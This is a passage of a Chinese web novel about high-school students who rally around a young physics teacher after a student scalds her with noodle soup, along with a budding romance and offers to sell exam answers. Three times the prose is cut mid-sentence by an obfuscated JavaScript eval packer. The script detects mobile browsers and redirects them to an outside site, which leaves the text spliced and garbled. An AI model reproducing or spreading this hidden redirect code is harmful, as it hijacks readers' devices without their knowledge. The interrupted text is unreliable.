在一旁围观了全过程的孟源忙不迭起身,“您请。” 换了座位不到三十秒,上课的铃声打响,算是为这场不愉快仓促划伤了句号。 物理课,徐晓婕照例用了30分钟讲课,剩下的十五分钟留给学生们做课后的练习题,陈喻这节课听得相当认真,一直低着头写写画画,孟源大部分时间低着头,还用左手撑着额头,试图遮住自己的脸。 她觉得这些小孩子过于可爱,虽然不知道他们为什么换了座位,但徐晓婕打算装作看不到,小孩子嘛,都有自己的想法,只要上课不捣乱,她一般不会点破。 走在教室的过道,她时不时看一眼学生有没有不会的地方,直到走到陈喻的书桌旁,只见他的面前摊开着一本和书一样大的笔记本,上面密密麻麻写满了“对不起”三个字,怪不得这么认真,敢情这是在忏悔呢? 怕影响到其他人,徐晓婕压低了声音问,“你干嘛呢?” “我要写满一万个对不起。” “你这是犯了天条?” 陈喻:“比犯了天条还严重。” 啧,现在这些小孩啊。 徐晓婕大概猜到了他们换座位的原因。 如果是其他人在课上干和学习无关的事情,徐晓婕肯定会阻止,就算阻止不了她也会上报朝廷,请圣上定夺,没错,就是胡波,但陈喻就不必了,因为知道他要出国,各科任教老师都不约而同地放弃了对他的要求。好在陈喻是个乖孩子,上课做的最出格的事情就是偶尔睡个觉,或者看看课外书,那自从换了座位后,觉也不睡了,课外书也不看了,当然课内书也没看,每天上课能看八百回林黛蜜。 还是年轻啊,心里那点事情一点都藏不住。 不过,就算陈喻不会出国,徐晓婕应该也不会过多地干预他,看着陈喻这样的学生,徐晓婕总是反复提醒自己,不要自以为是。 听说他的父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958213|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各自经营着一家公司,都属于人间精英,这样家庭的小孩子,无论是见识还是对世界的理解,都是在她之上的。她只是个从小会做题的普通家庭孩子,长大之后循规蹈矩当了老师,除了对自己任教的这门课了解较深之外,在其他方面,她是没有那份自信去教导家境比较好的学生的。 互联网快速发展的好处大概是,很多事情在你还没有开始做的时候,就已经得到了他人传授的经验。在她踏上三尺讲台之前,她就被劝说,不要试图拿成绩不好就会过苦日子这样的话语去威胁一个家境优渥的学生,因为他们不在乎。 他们清楚地知道自己的未来在哪里,就算他们不学习,他们的未来还是在那里等着他们。 这就是现实。 下课铃声毫无预兆地响起,把徐晓婕一把从胡思乱想里拽出来,她走上讲台,将书和扩音器收拾在一起,清了清嗓子说,“同学们,这是最后一节新的内容,从下节课开始我们就要为期中考试开始复习,记得都要把练习册带着。” 王树晨头抬得高高,问道,“老师,听说这次期中考是三校联考,这消息保真吗?” “老师也不知道啊,回头问问胡老师。”不是她故意不说,上层的决定她又怎么会知道。 “那考试范围呢?” “学过的都考。” 听着教室里的一声声哀嚎,徐晓婕笑着宽慰了几句。 “啊,又要考试了。” “月考完才几天啊。” “还不说考试范围。” 徐晓婕出去之后,孟源把笔一摔,大声发着牢骚,当他说完后,发现身边的人都低着头安静趴在桌子上时,这才想起了点什么,然后讪讪闭嘴。 第二天陈喻没来上学,胡波向他致电,并加以友好慰问,“人呢?上天了?” 前两个字的动静太大,像两块大石头从山上滚落,把坐在右侧认真备课的徐晓婕吓得一抖。 “家里蹲。” “厉害啊?都考上家里蹲大学了,怪不得连学校都不乐意来了?” 电话那头声音很颓败,“波波,我现在没有心情和你开玩笑。” 胡波咬着牙,“你以为我有心情吗?关于无故旷课,你最好给我个合理的解释。” 沉默了一会,那头说,“被她无视的每一秒我都忍受不了。” 胡波:“……” 这是真的,连他自己都没有想到过,有一天,作为一个帅帅的碳基生物的他,会在臭氧充足(此处为臭臭的氧气的缩写)的地方感到窒息,会觉得呼吸不畅,心脏会疼痛,而这些不科学的现象会出现在他身上,仅仅是因为。 林黛蜜无视他。 不对,是冷暴力他。 他知道她生气,可是她可以打他,可以骂她,为什么偏偏选择不和他说话这种惨无人道的方法。 就在昨晚,当他把那一万个对不起,没错,就是他花费了一节物理课,加上两个十分钟的课间,一个半小时的课间,再加一个自习课,辛辛苦苦一笔一划写完的东西放在她的桌上时,她看都没有看一眼。 更过分的是,放学的时候,她对每个人都说了再见,就是没有对他说,她都不想见他,那他去学校还有什么意义。 32. 32 第二天陈喻依旧没来,第三天也没来,随便他吧,腿长在他的身上,他爱来不来,林黛蜜心想,又和她没关系,半毛钱的关系都没有,她只是不想理他,又不是打断了他的双腿。 一晃,时间很快来到了周五,下午大课间,林黛蜜和杨雅茹正凑在一起钻研一道数列新定义综合应用的题目,这时,王树晨从外面急匆匆跑进来低声喊,“出大事了,出大事了。” “什么大事?”孟一格一把揪住像泥鳅一样绕着课桌间跑来跑去的王树晨,“胡波当上校长了?” “不是,比这还要炸裂!” “那你倒是快说啊?”林黛蜜就要被他墨迹死了。 王树晨手肘撑在桌子上,小声说:“咱们徐小公主被五班的人欺负了!” 徐小公主这外号还是孟源起的,因为有一段时间徐晓婕沉迷于公主发型,她把头发那样扎起来再配上一个蝴蝶结就真的很像个公主,再加上她才25岁,是所有老师中年龄最小的,徐晓婕个人也很喜欢这个外号,于是大家就叫开了,当然了,在起外号这件事情上,也有受害者,那就是崔铭,他老是催促学生背古诗词,人又老,于是就多了个“催命老鬼”的外号,毕竟都不是什么好词,本来都是偷偷摸摸叫的,结果有一天崔铭说,他喜欢“老鬼”这两个字,听上去神秘又有实力,像是谍战剧中的卧底头头。 “什么?”林黛蜜从座位上弹起来,说着就要撸袖子,“谁干的?我找他去。” 杨雅茹拉住她,“糖糖你先冷静,咱们先搞清楚事情的经过,要不先去看看徐老师吧。” 孟一格赞同地点点头。“有道理。等完全弄明白了再报仇也不迟。” 王树晨说,“是这样的,今天五班的老师请假了,她找了徐公主代课,然后课上那个刘宏路公然吃泡面,徐老师就说了他几句,结果他把吃完的泡面汤泼在了徐老师的脸上,然后应该烫伤了吧。” 杨雅茹:“人渣!” 孟一格:“败类!” 林黛蜜捏了捏拳头,从牙缝了挤出三个字的脏话:“狗/日/的!” 孟源拿着一罐冰可乐行外面一进来就被这几句脏话暴击,这……应该不是在说他吧,陈喻没来的这几天,他可是一直夹着尾巴做人呢。 听完事情的经过,三人气愤填膺地跑去了办公室,但办公室的门紧闭着,连一丝光都透不出来。有问题,有大大的问题,看来这事儿是真的没跑了,要知道,为了鼓励学生们下课去问问题,附中的教师办公室一般是不会关门的。 林黛蜜将耳朵贴在门上,她听见有里面有断断续续抽泣的声音,还有安慰的声音,太过分了,简直没有王法了。 杨雅茹忧心道,“糖糖,咱们进去能干什么?会不会让徐老师更没面子。” 林黛蜜疑惑得皱起了眉头,连带着说出来的话都像是在质问:“被欺负的人为什么要没面子?你怎么会有这种想法?如果你们不敢去那我一个人去就好了。” 气氛有些不愉快,孟一格出来打圆场,“糖糖,她不是那个意思,你想啊,徐老师这会儿肯定在想,我作为一个老师被学生打了,那在其他的学生眼中我可不就是个不会管理班级的老师了吗?” 林黛蜜听罢垂下头,“雅雅,对不起。”她得承认,这几天自己的情绪真的很差,就在昨天晚上,她还因为陆知珩点的馄饨不是她喜欢的那一家而发脾气摔门出去,其实离开家门的时候,她回头看了一眼,当时陆知珩就坐在餐桌旁,也没有像往常一样和她斗嘴,只是静静注视着那些被她暴力推开而撒在桌上的汤渍。 她不知道那一刻陆知珩在想什么,只是清楚地意识到,自己真的有些恃宠而骄了,回去之后她想道歉来着,可陆知珩已经睡了,今天早上他也没有再等她上学。 都怪陈喻那个要死不死的,害她情绪暴躁,害她无意间伤害了身边的人,可她也不知道怎么办,她也告诉自己,不就是一个谎言吗?陈喻都道歉了,为什么就不能原谅他呢?换作别人她早就把这篇翻过去了,可为什么到了陈喻就不可以呢? 几人正在僵持,这时,门从里面被打开,胡波刚安抚好情绪激动的徐晓婕,一开门看到这吉祥三宝,简直想原地晕过去。 胡波知道她们为什么而来,他保证一定会给徐晓婕一个交代,可这三人死犟啊,她们连推带搡地挤进这间不大的办公室,然后跟大蜜蜂似的围在徐晓婕的办公桌前,开始嗡嗡叫。 “老师,你还疼不疼。” “老师,我去帮你打回来好不好。” “老师,你千万不要因为这个人渣怀疑自己,你是很好的老师。” 人一旦被关心,眼泪是会止不住流下来的,此刻的徐晓婕就是如此,她抱着三个可爱的小姑娘哭得稀里哗。 好吧!她原谅这个世界了。 胡波两根手指按了按太阳穴,好像那是个什么开关,只要按下去,一些事情就会一键消除。 他走过去对三个小蜜蜂说,“你们先回去,我一定让刘宏路来给你们的徐公主道歉好不好?徐老师刚才已经同意了的。” “我不同意!”林黛蜜坚定开口。 杨雅茹壮着胆子,接上了林黛蜜没说完的话,“如果道歉有用的话,还要警察干什么?” 孟一格:“对啊波波,这不是你教育我们的话吗?” 胡波:“……” 徐晓婕:“……” 胡波坐下来,开始分析情况,“是这样的啊,就这件事来说,如果去报警的话,是没有任何意义的,老师毕竟比你们多吃几十年的盐,事情大概是这样的。” “首先,就算你去报警也不会立案,因为身体受的伤害比较小,又因为他未满18岁,最后的结果就是个批评教育,不会拘留,最多就是个口头教育。” 林黛蜜:“那学校就不给徐老师一个说法吗?” 胡波:“怎么给?” 孟一格:“开除学籍啊。” 胡波被她们的幼稚惹得连连苦笑,这些个嫩瓜秧子啊,他委婉开口,“你们的意思是,让徐老师去学校领导那里告状,要一个说法?我告诉你们,学校处理这种事情的方法就四个字。” “哪四个字?”几只脑袋一齐凑过去。 “息事宁人!” “徐老师你可以耍无赖啊,学校要是不处理,你就守在校长室门口不走了,他们不给你一个说法,你就不上课。” 徐晓婕和胡波对视一眼,好吧,她们真的很天真,耍赖皮那是小孩子的特权,至于上课,你不去上,后面有的是人排队等着。 眼看这也行不通那也行不通,林黛蜜试着开口说,“徐老师,你可以告诉你妈妈啊?她一定会帮你出气的。” 此话一出,办公室里有一个算一个都轻轻笑了。看着咋咋呼呼天不怕地不怕,结果还是个遇到事情就跑回家找妈妈的小女孩呀。 “你们笑什么?我觉得这个方法可行的,徐老师您就让您的妈妈在学校豁出去,一哭二闹三上吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958214|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就说宝贝女儿被欺负了,一般的单位都怕这个,他们又不敢欺负老年人,然后你就在旁边装无辜让家长不要闹,这一招可有用了,我妈妈的当事人经常这么干。” 杨雅茹觉得有道理:“这么干好像很可以。” 胡波横眉:“可以什么?可以的结果就是你们亲爱的徐公主以后在学校被穿小鞋,评奖评优她也甭想了,混到60岁,唯一的变化就是,你们的徐小公主变成了徐老公主?” 林黛蜜:“维护自己的正当权益就会被穿小鞋,那么这样的破学校就不值得你呆下去,这样的破领导就应该被挪走。” 胡波板起面孔,“挪走?我是这个学校的副校长之一,把我也要挪走?” 林黛蜜摇头,笨拙地学着拍马屁,“您不用挪走,您是人民心中的好领导,领导心中的……好人民,总之,在我们心里您虽然是副的,但是比正的强多了,您就是正道的光。” 胡波嫌弃地挥挥手,“行了行了,你就别难为自己了。” 众人见状都被逗笑。 几个女孩子一来,气氛莫名其妙变得轻松起来,徐晓婕心里的不愉快彻底一扫而空,她眼含泪意对几个小女孩说,“这个破学校不值得我呆下去,但是,你们值得。” 还徐老公主,胡波嘴是真毒啊,徐晓婕心想,其实当了三年打工人她很明白的,这件事情,就算她告诉了母亲,母亲也不会为她出头的,母亲一定会说,现在找个工作不容易,能忍就忍一忍,和领导相处要有眼色,时不时给人家端点水倒点茶什么的,时间长了领导肯定会器重你。他们的认知已经匹配不了现在的社会,还要仗着年纪大对什么事情都指点一番,别说被学生欺负了这种不好的事情,就算是一件好事,他们都能让你分分钟后悔自己多嘴,恨不得咬掉自己的舌头。 几个人气势冲冲进去,灰头土脸出来了,回教室的路上,谁也没有开口说话,林黛蜜对这种感觉很熟悉,就好像这样的场景发生过,哦,她想起来了。 就在不久前,她和陈喻因为逃课出去见义勇为的事情,被胡波批评了之后,也是这样走出来的,她不禁在想,为什么每次这种她以为胜券在握的战争,她都会落败。 教科书上讲了一堆道理,可是现实中出了事情并不按照书上写的走,帮助别人会被批评,受到伤害要忍受,这到底是个什么样的世界啊。 回到教室之后,几人发现全班都已经知道这事儿了,大家凑在一起议论纷纷,每个人脸上都写着气愤两个大字,在王树晨的煽动下,几个男生扯着公鸭嗓子在咆哮。 “放学老子弄死他!” “欺负到我们公主头上了。” 全班最冷静的只有张雨倩,林黛蜜几人路过,发现她还是跟没事人一样做数学卷子。 杨雅茹说,张雨倩一天又百分之五十的时间都在学数学,可就算这样,她的数学依旧不及格,数学对张雨倩来说,就像那渣男,不管你怎么做都捂不热他的心。 再看孟源,他右手捏着手机,整个人蜷在桌子底下打电话,“喂,哥们,借几个人手……嗯嗯,放心,我有分寸……别记错时间啊。” 作为刚从办公室里出来,接受过更“顾全大局”思想的三人,都劝孟源少整幺蛾子,到时候出了事情,受牵连的还不是徐老师。 在一片密密匝匝的吵闹中,上自习的铃声打响,张雨倩照例大吼一句,“闭嘴,上自习。”这一声,简直可以称得上咆哮,她也很生气,但她还得维持六班的秩序。 33. 33 人有些习惯真的很难改变,就拿张雨倩来说,她要是生在明朝,一定是个东林党人中的一个言官,要是生在近代,她就是个公车上书中千余名举人中的一员,因为她是真的真的很喜欢“联名上书”这个活动。 眼下,摊开在林黛蜜眼前的就是一份这样的签名表,上面说,对于本次事件,她作为班长有义务领导同学们进行有组织有纪律的反抗。 既然学校不管,那就自己解决,她的具体计划是等自习下课之后,全班人堵住五班的门,让刘宏路那个人渣也试一试泡面汤洒在脸上的感觉。 杨雅茹觉得这个计划很疯狂很大胆,但是解气啊,她可太喜欢了。 商量过后,林黛蜜几人觉得这主意不错,俗话说道高一尺魔高一丈,为什么魔能胜道一筹呢?因为魔不会被世俗道义所束缚,有些损招虽然不道德,但架不住它有用啊,对付刘宏路这种混子学生就应该用流氓的办法,选择去报警那简直是浪费国家资源。 就这样,全班47个“魔鬼”都在那张“讨刘檄文”的A4纸上默默签上了自己的名字。有这么激动人心的时刻,孟源作为陈喻的铁杆兄弟,自然不忘叫上他,他偷偷摸摸给陈喻发了消息,高一的大仇终于要得报了。 【兄弟兄弟!】 【在吗?在吗?】 【三十分钟之后将于高二(五)班教室门口发生九二八战役,希望你前来参战。】 【你可能不知道九二八战役是什么,那么就由我来向你解释。】 【九二八战役就是在公元2024年9月28这天,岚市附中高二(六)班团结一致,打爆了刘宏路的狗头,捍卫了班级的学生权教师权,促进了九班的学生大团结,对学校和平产生巨大影响,改变了九班在学校里受气的地位,推动了校园文明建设,开启了附中历史的新征程,是九班走向复兴的重要转折点,也是附中历史上的伟大壮举,激励着附中的后人不断前进。】 胡波来到教室,发现这个自习,学生们出奇地安静,所有人都在埋头看书。 孩子们都长大了呀。他欣慰地笑笑,然后关上门出去了。此刻的他并不知道,孩子静悄悄,必定在作妖,这句话在高中生身上同样适用。 时间一分一秒过去,放学的铃声终于敲响,按照计划,几个腿长跑得快的男生已经跑去五班门口堵人了,其余人在张雨倩的带领下,有序到达现场。 林黛蜜从教室门跨出去的一瞬间,她还没来得及适应走廊较暗的光线,就看到眼前闪过一道黑影,下一秒,手腕被一把扣住,来人的力道又急又重,她整个人被拽得踉跄两步,后背“咚”地撞上墙。 眼前一整发晕,鼻尖却先嗅到了熟悉的沐浴露混着汗水的味道。 是陈喻。 他终于肯出现了。 “你来干什么?”林黛蜜不忘嘴硬。 她抬头,正对上少年微微起伏的胸膛,他的校服领口因为奔跑而凌乱地敞开着,锁骨上还挂着细密的汗珠。 两人距离太近,他的呼吸又急又沉,热意直接扑在她的脸颊上。 林黛蜜心想,这个夏天真热啊。 可哪有什么夏天,明明才是四月的尾巴。 “你要去干什么?”陈喻压着情绪,尽量让声音听上去柔和。 林黛蜜瞪他一眼:“关你什么事?” 陈喻微不可查地叹口气,“刘宏路不是个讲理的人,更不是个好人,你不要去管这件事情,不要去趟这个浑水,不要给自己找麻烦。” 林黛蜜不可置信地摇头:“不要不要不要,原来在你心里,我们这堆人就是在给自己找麻烦?” “我的意思是,这件事情学校会处理,不用你们冲在最前面,你们这样做只能让事情更复杂罢了。” “可是学校不报警,不开除,那就只好由我们来保护自己的老师了啊。” “她是大人,是老师,不需要你的保护” “任何人都需要被保护,这又不是小孩子的特权,再说了,她是我的老师,是悉心教导我的人,我不该保护谁应该?” 陈喻不想和她吵架,只好妥协,“好好好,就算你要保护,也不是用这种方式。” 像是为了和他较劲,林黛蜜大声说:“我就喜欢这种办法怎么了,简单粗暴,你看不惯可以走啊。” 她把这几天憋的气一股脑发出来:“陈喻,有没有人告诉过你,你真的太自私太冷漠太讨厌,我根本就不应该遇见你,有些人啊,光是遇见就已经很倒霉了。” 陈喻眉眼微垂一动不动盯着她,眼眶瞬间红了一圈,瞳孔的光碎得像是摔成碴子的玻璃。 话说出口,林黛蜜就后悔了,可她还嘴硬死要面子,好死不死地补充了一句,“看我干什么?说的就是你。” 小小空间里的气氛像是绷紧了的弓弦,他们之间从未这样过,一时之间林黛蜜也不知道下一步要怎么办,只能逃跑,于是,她扭头追着前面的人跑去五班堵人了。 张雨倩气势汹汹走在最前面,刘小溪小跑两步跟上,声音有些发抖,“班长,我们真的要这么做吗?” 张雨倩没有回头,只是从牙缝里挤出一句话,“他都敢欺负老师,咱们占理有什么可怕的?” 这句话像是火星落入了干草堆,身后同学们的表情更加坚定了,就连平时最温和的女生也绷着脸,反正大家心里默认,法不责众。 其实张雨倩早就和刘宏路有过节,她早就想把刘宏路那颗装满坏水的狗头踢爆。 高一那次,要不是陈喻帮她,她现在大概都不在附中了,只是没想到他还欺负到徐老师头上了,那就别怪她张雨倩,新仇旧恨一起算。 五班的后门半开着,里面传来嘈杂的说笑声,张雨倩一脚踹开门,铁制门板撞在墙上发出“砰”的巨响,五班教室里的声音戛然而止。 “刘宏路,出来,找你有事儿。”张雨倩不咸不淡开口。 五班的学生齐刷刷转过头,看到这个阵仗,大多数人惊讶地张大嘴, 几个小时之前还耀武扬威的刘宏路现在像一个缩头乌龟一样,躲在教室墙角。 林黛蜜进来时看到的就是五班把刘宏路围住的画面,他不肯出来,全班最壮的男生只好揪着刘宏路的领口将他提在楼道。 张雨倩盯着刘宏路的眼睛,决定先礼后兵,要是他肯诚心向徐老师认错的话,还可以给他小子一个机会,“你知道我们为什么来吗?” 刘宏路无所谓耸耸肩,嘴角挂着令人生厌的笑容:“当然是为了那个多管闲事的老师呗,是她自己凑过来让我泼的,怪谁?” “你有种再说一遍?” 刘宏路被六班人用手猛推了一把,后背抵在了墙上,他仍旧嬉皮笑脸,“我说,徐晓婕就是活该,自己几斤几两掂量不清楚,敢管我?” 林黛蜜在旁边忍了又忍,她想不通,同样是人,为什么有的人就这么不要脸,她猛得举起手里的泡面杯,滚烫的橙色汤汁在空中划出一道弧线,直冲刘宏路那张令人作呕的脸而去。 眼看就要大仇得报,一个高大的身影突然从从侧面冲过来,挡在了刘宏路面前。 “哗——” 整杯泡面汤全部泼在了那个突然出现的男生脸上,汤汁顺着他的脸颊、脖颈没入衣领,有几粒泡面渣挂在他俊秀的眉毛和长睫毛上。 走廊里一片惊呼。 林黛蜜瞪大眼睛,手中的空纸杯“啪嗒”掉在地上,挡在刘宏路面前的人是陈喻。 一瞬间,她的胸腔充斥着各种情绪,不解、愧疚、还有她怎么也忽视不了的疼痛感。 明明泼在了他的脸上,可是她的心为什么会像是被什么攥住了呢? “我说,你们班这是唱的哪一出啊?”刘宏路最先反应过来,他假惺惺对陈喻说了句,“要不说衣不如新,人不如旧呢,还是我过去的哥们对我好,谢了啊。”说完之后,便大摇大摆地走了。 “陈喻,你到底在干什么?”林黛蜜到现在大脑还是一片空白,她下意识想帮他擦擦脸,可是,六班的人都在看着,她也只能收起这个心思。 陈喻接过孟源递过来的纸,将脸上的汤渍擦干净,看向六班的人缓缓开口,“你们不要仗着人多就招惹刘宏路,他那个人逼急了什么事情都能干出来,冲动的人是会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958215|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃大亏的。”说完之后,他从林黛蜜旁边擦肩而过。 愣了一会儿,张雨倩追上了正往回走的陈喻,她斟酌道:“你误会她了,这个蠢办法是我想出来的。” 陈喻没什么情绪地嗯了一声。 摸不透他的想法,张雨倩正想开口说再见,却听陈喻问道:“你说她为什么可以做到?” 很无厘头的一个问题,张雨倩重复道:“谁?可以做到什么?” 陈喻喃喃道:“可以做到毫无保留地热爱他人,人不都是自私又懦弱的吗?和她相比我觉得自己,难以望其项背。” 他自顾自继续说。 “我觉得她是女侠,怀里揣着把剑,双手抱胸,威武地站立,即使站在角落,你也能被她吸引过去。她是那种不需要身边任何人的衬托,你就可以一下关注到她的人,她内心强大且坚定到没什么能够真正摧毁她,她不媚任何人,有自己的小脾气和大脾气,对待任何人都是张弛有度。她只是做自己就能有很多人喜欢和追随她了,随性又洒脱。 昨天回去之后,以及这些天,每晚他都躺在床上辗转反侧,反反复复在思考一个问题。 为什么? 为什么偏偏是她? 在他逐渐长大的过程中,有很多优秀的女生向他示好过,含蓄的,热烈的,一时兴起的,久久为功的,如果说,他是一片荒漠,以前那些女生做的,连沙漠里的一粒沙子都没有吹动。 林黛蜜不一样,明明知道她对他不是喜欢,可她依旧掀起了一场风暴,现在,黄沙被吹到了他身体的每个角落。 现在,陈喻明白了。 因为他喜欢有自我的人,她永远对世界抱有赤诚之心,面对任何不公和权威,都会坚持自己的原则,对人对事完全坦诚。 最重要的一点,她百分之百尊重自己的感受,即使她知道做了某件事会有相应的后果。可她依旧敢想敢做。 意识到他口中那个“女侠”是谁之后,张雨倩那颗心没站稳,差点滑出身体。 她想说,林黛蜜是很不错,可是在我心里,你一点不比她差,你不用妄自菲薄。 罢了,这些话就算她冒着被疏远的风险说了出来,他也不会信的,喜欢一个人就是这样,无论原来是多么自信的一个人,在对方面前总觉得低TA一头,就像张爱玲说的那样,会卑微到尘埃里,然后开出花来。 这些话大概没有见天日的那一刻了,那些心事,也只能告诉缠绵的风,告诉淅淅沥沥的小雨,告诉无色无味的空气,再也不会有人知晓。 听自己喜欢的人赞美他喜欢的女孩儿,这种机会不是每个人都有的,她有点高兴又有点难过,高兴的是,他肯告诉我这些,难过的是,连他这样的人都要吃爱情的苦。 张雨倩喜欢看他对所有人都拽拽的,喜欢他不可一世的样子,甚至喜欢他的不近人情,可是,他似乎就要为自己喜欢的人变温柔了。 此时此刻,她多希望自己变成林黛蜜,变成那个想笑就笑想闹就闹的人,他喜欢炙热的人,可偏偏自己不是,数学不如林黛蜜她可以努力学,可性格学不来,那得靠经年累月的细心呵护和滋养,她从未被给予过那样的沃土。 可她还是会继续喜欢他。 快要分别的时候,她抬头看了一眼天空。蓝得像油画,远得像未来。 今天气氛那么好,大概率今天是他们第一次,也是最后一次,这样走在一起。 要不,还是把那句话告诉他吧,说不定,因为她,他会记一辈子呢。 于是她扭头,笑意盈盈,“陈喻,我想对你说一句话。” “什么?” “我说了,你要保证自己牢牢记得,至少高考之前不能忘掉。” “你说说看。” “老师早就讲过了,难以望其项背是一个典型的病句,”张雨倩苦涩地抿了抿嘴唇,“你千万要记得。” 陈喻愣了片刻,既而轻笑道:“谢谢,我记住了。” 张雨倩长舒了一口气。 难以望其项背是典型的病句。 而我喜欢你。 是典型的省略句。 34. 34 高一开学后不久,张雨倩的父亲就因为突如其来的车祸被送到了ICU,在她的家庭中,父亲是唯一的劳动力。 没有其他办法,当时的班主任帮她发起了捐款活动。可那不过是杯水车薪,无济无事。 突然有一天,刘宏路来找她,说可以帮她出做手术的钱,条件是和他去酒店开房。 张雨倩答应了,因为她想无论如何都让父亲活下去,当时,陈喻和刘宏路还是好兄弟,他听说这件事情之后,意识到自己和刘宏路不是一路人,很快划清了界限,后来,陈喻做手术的钱借给了她。她还记得陈喻把银行卡交给自己的时候说的话。 “钱还会挣回来,但是被自己亲手丢掉的尊严不会再回来。” “如果你父亲醒来之后知道为自己续命的钱是用你的身体换来的,那他宁愿死在医院外面。” 很有道理也很难听。毋庸置疑,他的思想是比同龄人成熟的,他好像看明白了很多事情,熟知许多不成文的社会法则,大概也正因为这样,他对人性不抱有什么期望,也因此变得对许多事情冷眼旁观。 可是现在,他喜欢上了一个如太阳般温暖和煦的女孩子,他们的价值观并不一致,这样的两个人也能长长久久在一起吗? 张雨倩不知道,她还是决定先观察着,说不定,他们在一起之后发现彼此并不是合适的那个人,那她的机会不就又来了。 有时候她觉得这些想法幼稚又荒唐,她不知道班里的其他同龄人是不是也这样,谁说上高中只需要操心学习一件事情,说这话的人肯定没考上高中。 该说不说,她的某方面预感总是准得吓人,当林黛蜜第一次出现在六班,当她坐到孟一格旁边的那个位置上的时候,张雨倩就知道,陈喻和之间她就一定会发生些什么。 一路胡思路想回到家,张雨倩换了鞋,发现父母都不在家,她回到自己的卧室,拉开抽屉拿出里面的手机,Q,Q上有几条未读消息。 S:在吗童鞋? S:期中联考已安排,来一份吗? 张雨倩:保真吗? S:包的。 张雨倩:单科呢? S:可。 张雨倩:我只要数学试题不要答案,价钱怎么算? S:……哟,好特别呀,那么喜欢做数学题去书店买一套试卷得了,跑来买什么答案!!! 张:这怎么还急了呢? S:非诚勿扰。 她都不知道自己什么时候加的这个S,每次考试之前都向她推销答案,她又不傻,如果他们手里的答案是真的,还用主动推销?这些人就是会拿捏人心,他们很清楚,大家就算发现答案是假的也不敢要说法。 就像她看过的一个新闻,说的是一个来自四川的“糖枭”,他就是利用大家不敢报警的心理,把冰糖当成□□卖给吸毒的人,每月贩糖160斤,凭借买一斤送半斤的活动卷死全国的毒贩,还把客户吃出了糖尿病,可谓是赚着杀头的钱却只犯了诈骗的罪。 徐老师的事情最后还是没能报警,胡波找来了刘宏路的父母,当面道了个歉,又写了一份保证书,这事儿就被不轻不重地揭过去了。 从那天刘宏路被六班人堵住的反应看,他当然不是诚心的,可那又怎么样。 这件事情给林黛蜜的后遗症就是,她每次上物理课看到徐晓婕的脸,就会自动出现那天她在办公室哭的样子,她还会想起自己泼在陈喻脸上的泡面汤。 徐晓婕意识到林黛蜜上课的状态不太对,她在物理晚自习把林黛蜜叫出去,问:“心里有事吗?” “没有。”林黛蜜摇头。 徐晓婕掐了掐女孩儿脸上的肉,笑道:“脸蛋都快拉到地上了还说没有。” 林黛蜜吸了口气:“老师,这件事情之后,你还热爱老师这个职业吗?” 这是她上课一直在思考的问题,一个人最开始选择某个职业肯定是出于喜欢,想在这个领域奋斗一辈子,可是,对于徐老师来说,她才工作几年这层职业滤镜就被打破了,那她以后的教学生涯要怎么过,是不是只剩下煎熬了呢? 徐晓婕没想到她问出这样一个可爱又幼稚的问题,她笑了一会儿然后回答,“我本来就不热爱啊,你真的还是个小屁孩儿,你该不会觉得大家做的工作都是自己喜欢的吧?” “不应该是这样吗?” “理论上应该是这样,但我们生活在实际中。” “好吧。” “你是在担心老师继续当老师会不开心吧。” 林黛蜜点头。 “我有个妙招,每次不想干的时候,我就拿出行测做一套题,对一下答案,笑一下,然后,我再打开一个蓝色的APP,刷一刷,就开始备课了? “对一下答案为什么要笑?笑完为什么要打开蓝色的软件?那是什么软件?” “oh,你真的还是个小朋友,听不懂这些地狱笑话,行测是公务员考试的一套试卷,它里面有些题目就像人生,那个答案看上去非常莫名其妙,但它是正确的。” “至于蓝色软件嘛,当然是找工作的软件喽,你本来想跳槽,结果进去一看,其他槽里的食物也是馊的,既然是吃馊饭,哪里不一样啊。” 放假前的运动会来临,林黛蜜没什么玩的心情,出于为班级争光的需要,她报了一个立定跳远和女子408米接力跑,这两个项目都被安排在头一天就比赛完了,于是,剩下的两天她大部分时间都呆在教室里和杨雅茹一块刷题。 考试的前一天晚上,林黛蜜正趴在桌前默写英语单词和固定短语,倒扣在一旁的手机连续振动了几下,她翻过来扫了一眼,是群聊“三木成林”里在不断往外冒消息。 “三木成林”这个群里的人只有三个,林黛蜜、杨雅茹和孟一格,因为三个人的名字都带了个“木”字,所以就取名为三木成林。 格格:姐妹们,都在吗? 格格:都复习怎么样啊? 丫丫:正在力挽狂澜中[冲啊] 木木:快给我一套试卷,我现在强得可怕[得意] 格格:[强][强][强] 格格:[我有个小道消息,听说这次联考外面能搞到答案,好多人都偷偷买了。] 丫丫:别人买咱们也管不着,反正我唾弃那种行为。 